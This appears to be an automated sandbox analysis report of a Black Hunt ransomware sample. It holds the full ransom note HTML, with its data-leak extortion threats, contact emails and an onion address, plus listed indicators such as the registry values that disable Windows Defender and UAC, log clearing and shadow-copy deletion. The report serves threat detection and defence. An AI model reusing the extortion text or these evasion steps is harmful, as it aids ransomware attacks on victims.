2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87

Analysis

max time kernel
120s
max time network
122s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 22:52

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General

Target

2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
Size

707KB
MD5

8f1b4a1ad35803c3e7306790ac78dadf
SHA1

559111015958073f9f462b82fbc1a44cdb420441
SHA256

2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87
SHA512

b2199fa282ad6740f3e981e6c3b92fef7bd834ac6fb42134dd7953038aee2faea72c3efdf4684e1fb2ab2c6755942ed782ca0748ef860a895390c328da8f6c07
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1j8Wvnh:6uaTmkZJ+naie5OTamgEoKxLWCoh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> UvFxDtvfNr0Jgb1m </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2280	fsutil.exe
3412	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2620	wevtutil.exe
3632	wevtutil.exe
3776	wevtutil.exe
3560	wevtutil.exe
3680	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1968	bcdedit.exe
1444	bcdedit.exe
3564	bcdedit.exe
4072	bcdedit.exe

Renames multiple (2842) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2088	wbadmin.exe
3888	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3872	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Q:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\T:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\Y:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\A:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\S:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\G:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\J:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\F:	conhost.exe
File opened (read-only)	\??\L:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\U:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\O:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\P:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\Z:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\V:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\B:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\M:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\W:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\E:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\R:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\I:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\H:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\K:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\X:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\N:	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	fsutil.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\circleround_glass.png	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-uihandler.xml	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Dublin	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\meta\art\02_frenchtv.luac	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\#BlackHunt_Private.key	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.actionProvider.exsd	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Argentina\Rio_Gallegos	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\#BlackHunt_ReadMe.txt	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT+10	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\#BlackHunt_ReadMe.txt	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_it.properties	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\#BlackHunt_Private.key	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\meta\art\00_musicbrainz.luac	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_MoveNoDrop32x32.gif	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-util-enumerations.xml	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Kuala_Lumpur	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\requests\#BlackHunt_Private.key	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\7-Zip\Lang\an.txt	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-profiling.xml	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Lima	2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe
